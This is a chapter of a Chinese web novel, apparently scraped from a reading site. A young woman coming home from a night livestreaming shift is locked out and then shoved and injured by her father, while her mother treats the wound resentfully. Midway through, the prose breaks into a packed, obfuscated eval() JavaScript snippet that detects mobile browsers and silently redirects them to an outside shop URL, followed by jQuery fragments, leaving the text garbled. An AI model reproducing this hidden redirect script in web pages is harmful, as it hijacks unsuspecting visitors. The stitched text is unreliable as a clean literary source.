凌晨五点的天夜,还是略有繁星点点。街路上不少摊贩一骑上餐车,陆陆续续的开走了,就剩广场中心狼藉一片。
“阿妹你这么晚下班啊,福鼎肉片来大的小的?”
餐车的阿姨已经在收工了,见到醒舒过来赶忙招呼她。
“多少?”
“大的十五,小的十块。”
“那我就小份的,只要紫菜葱花就好了,加点泡椒水。”醒舒扫了码,环顾一周。
四围的食客不多,大部分都是夜场刚刚下班,还有吃夜宵的男人居多。
她一个人不敢就在摊位上吃,只等着阿姨煮好了打包带走。
铁锅里的水没一会就蒸腾,盖子一起开一片白雾似烟。老板手快的铲起肉泥往里头削片。
空腹了十几个小时,胃早都麻木了。隔壁摊位的铁板豆腐‘滋啦’一声滑进油锅里,狼牙土豆的味道香气四溢。
醒舒看了一眼,看着还不错,要不要再买一份?价目表上写着十五一份。
算了。
她收回视线,盯着阿姨打包的结绳。
“来,阿妹。”
“谢谢姨。”
醒舒拎起打包盒回家,她走得又快又急,一来是饿了,二是下班本就晚,再不回去她怕洪素英起夜找人。
每次开家门口的卷帘门都让她害怕,声音刺耳得恨不得跟所有人宣告她回来了一样。
她掏出遥控器按动,门却开不开。
醒舒又试了试,卷帘门纹丝未动。一瞬间,她头皮发麻。
连忙打开手机,去公司直播以后就再没看微信了,这会刷新出来,密密麻麻全是——
醒陆江的最后一条信息是在十二点出头发的:你就死外面吧!永远别回来!
醒舒盯着那恶毒的字眼,刺得眼框生涩。
她连忙给洪素英打去语音通话,却显示对方没有加你为好友,无法通话。
她又试了电话,一直显示正在通话中。
夫妻两个双双把女儿拉黑了。
醒舒也顾不得那么多了,她站在楼底下拍打着卷帘门,声音像铁锁链摇晃起来,一点也不比开门声小。
她拍了好些时候,手掌疼刺刺的,贴了厚厚一层灰。
里头压根没人,他们都在二楼。
憋屈的闷感涌上胸腔,醒舒往后退了几步仰头冲着二楼的窗户喊道:
“爸!妈!开门!”
寂寥的广场上,醒舒的这一嗓子格外嘹亮。
“爸!”
“妈!”
“开门!”
醒舒每喊一声,就走到门前听听里头是否有脚步声传来。
过去了十多分钟,毫无动静。
塑料盒里的肉片温了,醒舒又累又饿,喊了这么久,嗓子也干疼的厉害。
她蹲坐在门口,眼泪不受控制的涌出。
想了一会,她又站起来狠狠踹了门帘几脚——“哐哐哐!”
声音又响又大。
有邻里拉开窗子,声音小小的,醒舒回头望去,阿姨睡眼惺忪,又把窗给拉上了。
别人都听到了,他们怎么可能听不到?就是不愿意开门。
醒舒抬脚还想再踹,但又怕吵到邻居,最终还是没有下脚。
她蹲坐下来。
盒盖被拆开,水蒸气溅在手上,泡椒味道淡淡。
醒舒喝了一口,鲜咸酸辣,越吃越渴。
她就这样端着那温凉的肉片,蹲在家门口大口咀嚼着。
离门不远处的垃圾堆放点,流浪狗也在啃食,醒舒盯着那狗,狗也瞪溜着黑瞳看她。
一人一狗,都在吃,一个有家不能回,一个无家可归。
卷帘门“空———”一声缓缓拉起,狗叼着食物呜咽一声跑进黑暗里。
醒舒端着盒子站起身。
狭窄的店铺过道里,有人从里头出来,面色铁青。
醒陆江拿着遥控器,眼神满是厌恶。
醒舒抹了嘴,把塑料袋系起来,拎在手里就要进去。
过道的入口被挡住,两边都是铁架子,醒舒硬着头皮想从爸爸身后的一点空隙里挤过去。
醒陆江睥睨的盯着她。
醒舒左右为难,怎么都进不去,只能低下头小小声开口:“我过不去…”
醒陆江还是没有让开,醒舒站在原地也不知该如何。
就这么僵持了一会,醒陆江再度走入过道内。
醒舒的心悬下,跟在他身后也进去。
醒陆江却突然定住了,女儿一个没留神撞在他背上。
“你没眼睛?不知道去关门?”
醒舒退回去,去摸藏在铁架里墙上的开关,杂物堆得刮蹭她的手臂,有点不适。
开关不知道被藏在哪,黑灯瞎火的,半天都摸不到。
“用遥控器啊!”
“我遥控器关不了。”醒舒打着手机灯,杂物堆砌得太深,一时间看不到。
醒陆江暴走过来,抓着醒舒的手臂用力甩开,铁属割在皮肤上,疼的人叫起来:
“你弄到我手了!”
“要你做点事都做不好,你会什么啊你?蠢得要命。”
醒陆江骂骂咧咧,从兜里掏出遥控器。
醒舒捂着胳膊发刺的地方,借着外头幽暗的路灯看清醒陆江的嘴脸。
“这边都是铁架子,我遥控器用不了,你让我关门,我只能去摸墙上的开关。”
“蠢就蠢还说那么多…”“那你明明可以用遥控器为什么不按遥控器!为什么非要我关门!!”
“你在喊我啊?”醒陆江指着自己,一步步往前。“你这样的态度对长辈啊?”
“林北没有义务给你开门知道吗醒舒。”
女孩咬着牙,手臂上湿黏黏的。
“我真是养了白眼狼,你三更半夜不回家,林北下来给你开门,这种态度啊?啊?!”
“那你就滚出去好了嘛!”说着,他突然推搡着醒舒,把她从狭窄的过道里往外推去。“你这么嫌弃你别回家嘛!”
“我跟妈妈说过了,我去公司播,得凌晨四点才下班。”
醒陆江根本不管不顾,拎着她推到店门外,打包盒摔在地上,剩汤洒了一地。
“你死外面好了嘛!你回来干嘛?我好心给你开门,我都没这个义务好吗!让你关个门你这个态度!你死外面嘛!”
推搡间,手臂的伤口好像又擦到置物架上的东西,疼得更加厉害。
醒舒没挨住,哭了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17766855|209734||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>“你两个到底是要干嘛!半天不上来在干什么啊!你们!”
洪素英的声音从楼上传来,一阵拖鞋趿拉声响,窄道尽头又堵了一个人。
“你不回来站外面是做什么?回家!”
醒陆江低声念了一句闽南话草机掰,挤开洪素英的肉墙上楼去了。
“还不快进来!在那边傻呆呆的站是要干嘛!”
醒舒捂着手臂往里走,手上的湿漉漉发黏。
“真是欠你们的,大半夜的发神经,是嫌我们家还不够丢人?走快点啊!磨磨蹭蹭的,死囡仔!”
楼梯上安装的白炽小灯微亮,醒舒这才看见手臂上划破了一道口子,血迹蹭得到处都是。
洪素英也看见了,“真是欠你的。”她不耐烦的说了一句,声音却小了许多。
醒陆江已经进房间了,客厅只有母女二人。
洪素英走在前头,开了房间门,甩得异常响亮:
“你有病是不是醒陆江?你怎么给孩子打成那样?!”
“真的是有病。”她进了房里翻找着东西,动静巨大。
“你没打?你自己去看看!手上衣服全是血,你有病是不是?你这样打她干什么?”
“她明天要去咖啡店上班,人家问起来要怎么说?你真有病啊你,神经一样。”
洪素英拿了药箱出来,发现女儿没在客厅里等她,怒火中烧:
“醒舒!”
此时醒舒待在卫生间里,正开着水龙头冲洗,水花声响。
洪素英喊了两声都没听到应答,火气更甚,踩楼梯的脚力十分重,恨不得压断一般。
“叫你你是耳聋诶?不会应?”她猛得推开门,吓了人一跳。
“我在冲水…”
“快点出来!”
“不用了,我冲一下就好了,我很累想去睡了。”
“叫你出来就出来啊!你耳朵聋?”洪素英一把拽住她往外拉。“手给我!神经病一群,一天天的,气死人了!”
她边说,擦碘伏的力道也重,疼得人想挣脱也挣脱不开,被她死死按住。
“欠你们!全欠你们的!”
醒舒一声不吭,任由洪素英给自己包扎伤口。
她也是很尽到做母亲的责任了,临走前还冷冰冰的甩下一句:“冰箱里有晚上拜拜的熏鸭和油面,你自己弄着吃。”便转身下楼了。
醒舒没跟着,她沉默的将洪素英随手扔在地上的棉签和纸巾捡起来,一齐扔到了阳台的废品编织袋里。
楼下又归于平静,天空尽白,晨风吹拂过,有淡淡的清气,又有卷帘门拉起的声音。
醒舒趴在阳台的栏杆上,楼下,邻居的孩子背着书包从卷帘门里出来,家长骑上电瓶车,小女孩手拿着一纸盒奶,把书包摔到脚踏上,一屁股爬到后座。
“坐好没有?”
“坐好了妈妈!”
“坐好了就出发,不然等会迟到了。”家长回头看了孩子一眼,手拧油门,慢慢开走了。
那孩子像是有所察觉,抬头盯着视线的方向,吸着干瘪的奶盒,不谙世事的看着醒舒直到电瓶车转了角,消失不见。
一阵凉风过来,楼下抽水马桶的声音响起,醒舒回头进了房里,轻轻的带上了门。